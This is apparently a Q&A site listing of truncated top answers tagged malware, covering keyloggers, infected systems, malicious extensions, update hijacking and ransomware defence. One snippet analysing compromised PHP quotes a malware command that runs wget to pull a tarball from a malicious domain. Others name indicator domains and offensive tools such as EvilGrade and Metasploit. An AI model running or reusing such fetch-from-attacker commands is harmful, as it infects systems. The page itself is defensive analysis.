Hot answers tagged

29

Nope. Keyloggers can often also do screen-capturing and mouse-coordinate-logging. So the attacker can still see what image the user selects. Another kind of two-factor authentication for which the user needs two devices (e.g. laptop and phone) would be more secure. Another good alternative is a Yubikey. A kind of device which generates a pseudo-random ...


17

Linux Mint was compromised and a backdoored ISO was deployed, Ubuntu was compromised, the entire Linux Kernel was compromised before, as were others (Debian, FreeBSD, etc). Developers protect code through checks and balances in what code is accepted into the mainline source code repository, and checksums. The issues revolve around whether or not an attacker ...


11

Once the system is infected with malware it is compromised. Anything that is done on that system can be observed so there is no way to allow someone to log in securely from that system just using that system. Period. End of Story. You might come up with some oddball scheme for something the user has to do as part of the login process that the malware doesn'...


6

If you see any activity on the browser that has these show up/ key words that might point to these issue then the following solution may help. Keywords for people to find this answer/ solution: crvlck.com coolbar.pro 33bc39603cbf409986a444d6bb525bf1 The Extension "Tab Manager" was sold to a malicious 3rd party and users were not notified in any ...


6

Yes, it is a case of nuke it from orbit. The fact that you can not remove this particular piece of visible malware does not matter. Even if you could, there might be loads of malware that you can not see left. No matter how many scans you run or how many hours your spend deleting registry keys you will never know for sure. It was game over the second your ...


4

Downloading pirated software is crime in many countries and visiting websites involved puts you on risk of getting viruses not only from the software itself, but also from rouge advertising since crime gangs are involved. Regardless the fact that many people download and run the pirated software and movies, nearly all of them contain some kind of malware. ...


4

Your first goal is (if you don't want to reinstall) is to determine how it managed to get there in the first place. If the attacker was crafty, they'd of run "timestomp" to modify the dates of binaries. You minimizing SSH does little if you're running a vulnerable version of Wordpress, or Joomla, or something different. For example, there was a Nagios ...


3

From what I can tell, and I'm not a PHP expert, the code does a couple of checks but ultimately it looks to download a tarball from a malicious .ru website (this website can be found by decoding the $domain variable. It then expands the tarball and deletes it. This action is found in the following lines $cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$...


3

The problem is that the minerd is probably the payload of some (other) malware, so you can't really tell what else has been compromised on the system. Possibly there isn't anything else resident on the system, and you are just getting re-infected each time you kill the miner. Alternatively there is some management/dropper process which has opened a back-...


3

Yes, it depends how that GET/POST request is handled on the receiving party, i.e the client. While explained in another thread "Yes, you can get a virus just by visiting a site in Chrome or any other browser". This also counts for any client. In this case: the program that's handling the response from your web request. No matter if that's a browser, CLI ...


3

Hard power-off of a Windows machine will ensure that wake-on-lan isn't functional, but there are two possible combinations of bios settings that can lead to machine waking up without power button press: Restore on power failure: Always on\Previous state I am not entirely sure that powering off via holding power button will account for power loss though. If ...


3

Even if the malware is successfully downloaded by the user, wouldn't he still have to execute it himself to infect his system ? In the case that no exploit was used the malware has to downloaded and explicitly executed by the user. This is usually done via social engineering, i.e. declare the software as an software update or necessary plugin to view some ...


3

It's worth noting that most IoT won't have much to phone home about. You mentioned a few devices: TV, pencil sharpener, and mouse. Unless these devices were specifically created with extra mics, cameras, etc as intentional spy devices, the information they would hold about you would be negligible. A mouse records movements on a table, and clicks. It has no ...


3

Always, always use ad-blockers. Browsing the web without an ad-blocker is like sex without a condom. Always use one unless you are 100% sure the site you are browsing has malware-free ads. I would refrain from clicking on any pop-up, especially in this case, as Firefox auto-updates in the background and requires no user input, unless a browser restart ...


2

When I get it, it's not a pop-up, the page I'm at is replaced by the "Urgent Firefox Update" page and then it immediately tries to download firefox-patch.exe. This has happened to me twice, once I was on eBay and the other time I was on a random local news website. FWIW, I have Flash set to ask permission before loading, so it's not a flash ad doing it. But ...


2

There are two threat models here: Malicious developer uploading malicious packages Malicious attacker uploading malicious packages that belongs to legitimate developers PyPI does not make any attempt to try to resolve #1. Auditing code before installs and only installing packages from reputable developers are the only "protection" you have against these. ...


2

I think the easiest way to answer your question is that most malware is coded using Polymorphic Code and the majority of Anti-Virus still uses signature based detection. The reality is that a good chunk of the population does not keep their software up-to-date which means the original attack vector could potentially be re-exploited with a different payload. ...


2

Would a password combination of images be stronger for users login regarding keyloggers? Yes, it would be stronger... a little bit. That is not saying much. A keylogger will catch only the keystrokes and not the selected user images, right? If you want to be technical, a keylogger logs keys. In the real world, many "keyloggers" also log things other ...


2

Most android malware will steal information or spam your phone with aggressive ads. But they do not necessarily modify any installed apps on the phone. If a phone is rooted, the malware can, however, uninstall apps and replace them with malicious app copies. The following link gives an overview of many of the known android malware capabilities. http://...


2

After you detected the virus you immediately started removing it. Virus writers know this so they want to remain undetected for the owner. That is why they only show the malicious content when people arrive through google. The assumption is the owner will never use google to go to his own site but enter the url directly. As for the payload: most likely it ...


2

The Anti-Phishing Working Group (APWG) has statistics about how long it takes, after notification (e.g., through MarkMonitor or similar), for a dead-drop site (e.g., malware or botnet C2) to go down. Take it with a grain of salt though, the APWG tracks criminal actors, but nation-state actors have been found to keep their C2 running for 4-5 years, perhaps ...


1

Most probably it's a malicious extension Sometimes when you install software, the installer installs extensions to your browsers along with it. If you have recently installed a software from an untrusted site, it could have installed this extension on your browser. You can try the following things: Visit Amazon from some other browser to see if it's ...


1

This type of attacks is a legit threat. It can be easily implemented by tools like EvilGrade ( evil upgrade). Many softwares still perform update via HTTP. Example Scenario: Lets say a user has notepad++ installed on his PC.An attacker who has access to internal DNS can perform DNS cache poisoning and use a tool like Evil Grade. To put in simple words, it ...


1

For a man in the middle it is easy to tamper with a download. There are even metasploit modules which make it really easy to infect a downloaded executable on the fly. And man in the middle can be easily achieved too, for example by redirecting traffic inside a local network with ARP or DHCP spoofing, by controlling your own local network by creating an ...


1

Not necessarily Operating systems in general and Android specifically, implement a privilege model to access data (When you install an app, you can decide which permissions you want to give it. You can also edit those permission later on). If an application is taken over by a malicious piece of code, it will have the same privilege level as the affected ...


1

The sugCls.handleContent method code is here starting on line 1263: https://github.com/liigo/html-parser/blob/master/test/testfiles/sohu.com.html You can see that it does some interesting slicing and dicing to extract parts of the string it is passed. To de-obfuscate, one would need to follow each step manually, run the command in its intended context and ...


1

No, it shouldn't scare you if you're worried about safety of packages. Though I do not recommend using it since it's not officially supported. Universe is community maintained software, that is to say "not officially supported software". I recommend you read this article so you'll understand the differences between Main, Restricted, Universe, and Multiverse ...


1

The best way to solve this, is to use LVM Snapshots, to create a "virtual" drive, that is then snapshotted incrementally with regular intervals. This virtual drive is then "shared" through Samba, iSCSI or similar tool to each Windows computer. Of course, every client can use the same virtual drive. IF a ransomware then encrypts the files on this "virtual ...


1

What you are asking about is known in the hacking world as "Privilege Escalation". It's a fairly broad term that encompasses a lot of techniques over a lot of operating systems and platforms, but is generally taken to mean exploiting a bug or flaw within a system to gain additional levels of access -generally administrative in nature. To my knowledge there ...


1

SmartScreen most likely relies on heuristics and code-signing. Heuristics can be bypassed and code-signing can be bypassed as well by either stealing a certificate/private key from a legitimate company (already happened with D-Link), or getting a certificate using forged documents. Finally, do not underestimate user stupidity. Most people will happily click ...



Only top voted, non community-wiki answers of a minimum length are eligible